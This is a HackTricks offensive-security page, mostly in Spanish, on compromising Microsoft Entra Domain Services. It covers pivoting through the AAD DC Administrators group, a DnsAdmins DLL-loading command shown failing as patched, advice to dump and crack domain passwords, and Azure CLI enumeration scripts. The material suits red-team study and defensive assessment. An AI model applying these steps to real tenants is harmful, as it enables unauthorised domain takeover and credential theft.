Az - Microsoft Entra Domain Services
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Domain Services
Microsoft Entra Domain Services permite desplegar un Active Directory en Azure sin necesidad de gestionar los Domain Controllers (de hecho ni siquiera tienes acceso a ellos).
Su objetivo principal es permitir ejecutar aplicaciones legacy en la nube que no pueden usar métodos de autenticación modernos, o donde no quieres que las consultas al directorio siempre tengan que volver a un entorno on-premises AD DS.
Ten en cuenta que, para sincronizar los usuarios generados en Entra ID (y no sincronizados desde otros directorios activos) con el servicio de dominio AD necesitas cambiar la contraseña del usuario por una nueva para que pueda sincronizarse con el nuevo AD. De hecho, el usuario no se sincroniza desde Microsoft Entra ID a Domain Services hasta que se cambia la contraseña.
Warning
Incluso si estás creando un nuevo dominio de Active Directory no podrás gestionarlo completamente (a menos que explotes alguna mala configuración), lo que significa que por defecto, por ejemplo, no puedes crear usuarios directamente en el AD. Los creas sincronizando usuarios desde Entra ID. Puedes indicar sincronizar todos los usuarios (incluso los sincronizados desde otros ADs on-premise), solo usuarios cloud (usuarios creados en Entra ID), o incluso filtrarlos más.
Note
En general, debido a la falta de flexibilidad en la configuración del nuevo dominio y al hecho de que los ADs suelen estar ya on-premise, esta no es la principal integración entre Entra ID y AD, pero sigue siendo interesante saber cómo comprometerlo.
Pivoting
Los miembros del grupo generado AAD DC Administrators obtienen permisos de administrador local en VMs que están unidas al dominio gestionado (pero no en los domain controllers) porque se añaden al grupo de administradores locales. Los miembros de este grupo también pueden usar Remote Desktop to connect remotely to domain-joined VMs, y además son miembros de los grupos:
Denied RODC Password Replication Group: Es un grupo que especifica usuarios y grupos cuyas contraseñas no pueden almacenarse en caché en RODCs (Read-Only Domain Controllers).Group Policy Creators Owners: Este grupo permite a sus miembros crear Group Policies en el dominio. Sin embargo, sus miembros no pueden aplicar GPOs a usuarios o grupos ni editar GPOs existentes, así que no es tan interesante en este entorno.DnsAdmins: Este grupo permite gestionar la configuración de DNS y fue abusado en el pasado para escalate privileges and compromise the domain, sin embargo tras probar el ataque en este entorno se comprobó que la vulnerabilidad está parcheada:
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
Note that to grant these permissions, inside the AD, the group AAD DC Administrators group is made a member of the previous groups, and also the GPO AADDC Computers GPO is adding as Local Administrators all the members of the domain group AAD DC Administrators.
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group AAD DC Administrators, access via RDP to any/all the machines in the domain and you will be able to steal data and also compromise the domain.
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata of all the VMs joined as their assigned managed identities might have interesting permissions. Also dump all the users passwords from the domain and try to crack them to then login into Entra ID / Azure.
Note
Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, like this one. An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
Enumeration
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"
# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

